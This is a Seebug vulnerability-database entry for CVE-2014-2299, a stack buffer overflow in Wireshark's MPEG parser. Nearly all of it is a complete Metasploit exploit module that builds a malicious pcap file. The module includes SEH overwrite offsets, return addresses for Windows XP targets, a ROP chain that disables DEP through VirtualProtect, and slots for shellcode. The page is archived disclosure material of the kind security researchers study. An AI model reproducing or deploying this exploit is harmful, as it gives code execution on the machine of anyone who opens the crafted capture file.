Lucene search

K
seebugRootSSV:86324
HistoryJul 01, 2014 - 12:00 a.m.

Wireshark <= 1.8.12/1.10.5 wiretap/mpeg.c Stack Buffer Overflow

2014-07-0100:00:00
Root
www.seebug.org
15

0.95 High

EPSS

Percentile

99.1%

No description provided by source.


                                                # Exploit Title: Wireshark 1.8.12/1.10.5 wiretap/mpeg.c Stack Buffer
Overflow
# Date: 24/04/2014
# Exploit Author: j0sm1
# Vendor Homepage: www.wireshark.org
# Software Link: http://wireshark.askapache.com/download/win32/all-versions/
# Version: &#60; 1.8.12/1.10.5
# Tested on: Windows XP SP3
# CVE : cve-2014-2299

# Metasploit URL module:
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/fileformat/wireshark_mpeg_overflow.rb

#
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require &#39;msf/core&#39;

class Metasploit3 &#60; Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      &#39;Name&#39;           =&#62; &#39;Wireshark &#60;= 1.8.12/1.10.5 wiretap/mpeg.c Stack Buffer Overflow&#39;,
      &#39;Description&#39;    =&#62; %q{
          This module triggers a stack buffer overflow in Wireshark &#60;= 1.8.12/1.10.5
          by generating an malicious file.)
      },
      &#39;License&#39;        =&#62; MSF_LICENSE,
      &#39;Author&#39;         =&#62;
        [
	  &#39;Wesley Neelen&#39;, # Discovery vulnerability
          &#39;j0sm1&#39;,  # Exploit and msf module
        ],
      &#39;References&#39;     =&#62;
        [
          [ &#39;CVE&#39;, &#39;2014-2299&#39;],
          [ &#39;URL&#39;, &#39;https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=9843&#39; ],
          [ &#39;URL&#39;, &#39;http://www.wireshark.org/security/wnpa-sec-2014-04.html&#39; ],
          [ &#39;URL&#39;, &#39;http://www.securityfocus.com/bid/66066/info&#39; ]
        ],
      &#39;DefaultOptions&#39; =&#62;
        {
          &#39;EXITFUNC&#39; =&#62; &#39;process&#39;,
        },
      &#39;Payload&#39;        =&#62;
        {
          &#39;BadChars&#39;    =&#62; &#34;\xff&#34;,
          &#39;Space&#39;       =&#62; 600,
          &#39;DisableNops&#39; =&#62; &#39;True&#39;,
          &#39;PrependEncoder&#39; =&#62; &#34;\x81\xec\xc8\x00\x00\x00&#34; # sub esp,200 
        },
      &#39;Platform&#39;       =&#62; &#39;win&#39;,
      &#39;Targets&#39;        =&#62;
        [
          [ &#39;WinXP SP3 Spanish (bypass DEP)&#39;,
            {
              &#39;OffSet&#39; =&#62; 69732,
              &#39;OffSet2&#39; =&#62; 70476,
              &#39;Ret&#39;    =&#62; 0x1c077cc3, # pop/pop/ret -&#62; &#34;c:\Program Files\Wireshark\krb5_32.dll&#34; (version: 1.6.3.16) 
              &#39;jmpesp&#39; =&#62; 0x68e2bfb9,
            }
          ],
	  [ &#39;WinXP SP2/SP3 English  (bypass DEP)&#39;,
            {
              &#39;OffSet2&#39; =&#62; 70692,
              &#39;OffSet&#39; =&#62; 70476,
              &#39;Ret&#39;    =&#62; 0x1c077cc3, # pop/pop/ret -&#62; krb5_32.dll module
              &#39;jmpesp&#39; =&#62; 0x68e2bfb9,
            }
          ],
        ],
      &#39;Privileged&#39;     =&#62; false,
      &#39;DisclosureDate&#39; =&#62; &#39;Mar 20 2014&#39;
    ))

    register_options(
      [
        OptString.new(&#39;FILENAME&#39;, [ true, &#39;pcap file&#39;,  &#39;mpeg_overflow.pcap&#39;]),
      ], self.class)
  end

  def create_rop_chain()

    # rop chain generated with mona.py - www.corelan.be
    rop_gadgets = 
    [
      0x61863c2a,  # POP EAX # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0]
      0x62d9027c,  # ptr to &VirtualProtect() [IAT libcares-2.dll]
      0x61970969,  # MOV EAX,DWORD PTR DS:[EAX] # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0] 
      0x61988cf6,  # XCHG EAX,ESI # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0] 
      0x619c0a2a,  # POP EBP # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0]
      0x61841e98,  # & push esp # ret  [libgtk-win32-2.0-0.dll, ver: 2.24.14.0]
      0x6191d11a,  # POP EBX # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0]
      0x00000201,  # 0x00000201-&#62; ebx
      0x5a4c1414,  # POP EDX # RETN [zlib1.dll, ver: 1.2.5.0] 
      0x00000040,  # 0x00000040-&#62; edx
      0x6197660f,  # POP ECX # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0]
      0x668242b9,  # &Writable location [libgnutls-26.dll]
      0x6199b8a5,  # POP EDI # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0
      0x63a528c2,  # RETN (ROP NOP) [libgobject-2.0-0.dll]
      0x61863c2a,  # POP EAX # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0] 
      0x90909090,  # nop
      0x6199652d,  # PUSHAD # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0] 
    ].flatten.pack(&#34;V*&#34;)

    return rop_gadgets

  end

  def exploit

    print_status(&#34;Creating &#39;#{datastore[&#39;FILENAME&#39;]}&#39; file ...&#34;)

    ropchain = create_rop_chain
    magic_header = &#34;\xff\xfb\x41&#34;                # mpeg magic_number(MP3) -&#62; http://en.wikipedia.org/wiki/MP3#File_structure
    # Here we build the packet data
    packet = rand_text_alpha(883)
    packet &#60;&#60; &#34;\x6c\x7d\x37\x6c&#34; # NOP RETN
    packet &#60;&#60; &#34;\x6c\x7d\x37\x6c&#34; # NOP RETN
    packet &#60;&#60; ropchain
    packet &#60;&#60; payload.encoded                    # Shellcode
    packet &#60;&#60; rand_text_alpha(target[&#39;OffSet&#39;] - 892 - ropchain.length - payload.encoded.length)

    # 0xff is a badchar for this exploit then we can&#39;t make a jump back with jmp $-2000
    # After nseh and seh we haven&#39;t space, then we have to jump to another location.

    # When file is open with command line. This is NSEH/SEH overwrite
    packet &#60;&#60; make_nops(4) # nseh
    packet &#60;&#60; &#34;\x6c\x2e\xe0\x68&#34; # ADD ESP,93C # MOV EAX,EBX # POP EBX # POP ESI # POP EDI # POP EBP # RETN

    packet &#60;&#60; rand_text_alpha(target[&#39;OffSet2&#39;] - target[&#39;OffSet&#39;] - 8) # junk

    # When file is open with GUI interface. This is NSEH/SEH overwrite
    packet &#60;&#60; make_nops(4) # nseh
    # seh -&#62; # ADD ESP,86C # POP EBX # POP ESI # POP EDI # POP EBP # RETN    ** [libjpeg-8.dll] **
    packet &#60;&#60; &#34;\x55\x59\x80\x6b&#34;

    print_status(&#34;Preparing payload&#34;)
    filecontent = magic_header
    filecontent &#60;&#60; packet
    print_status(&#34;Writing payload to file, &#34; + filecontent.length.to_s()+&#34; bytes&#34;)
    file_create(filecontent)

  end
end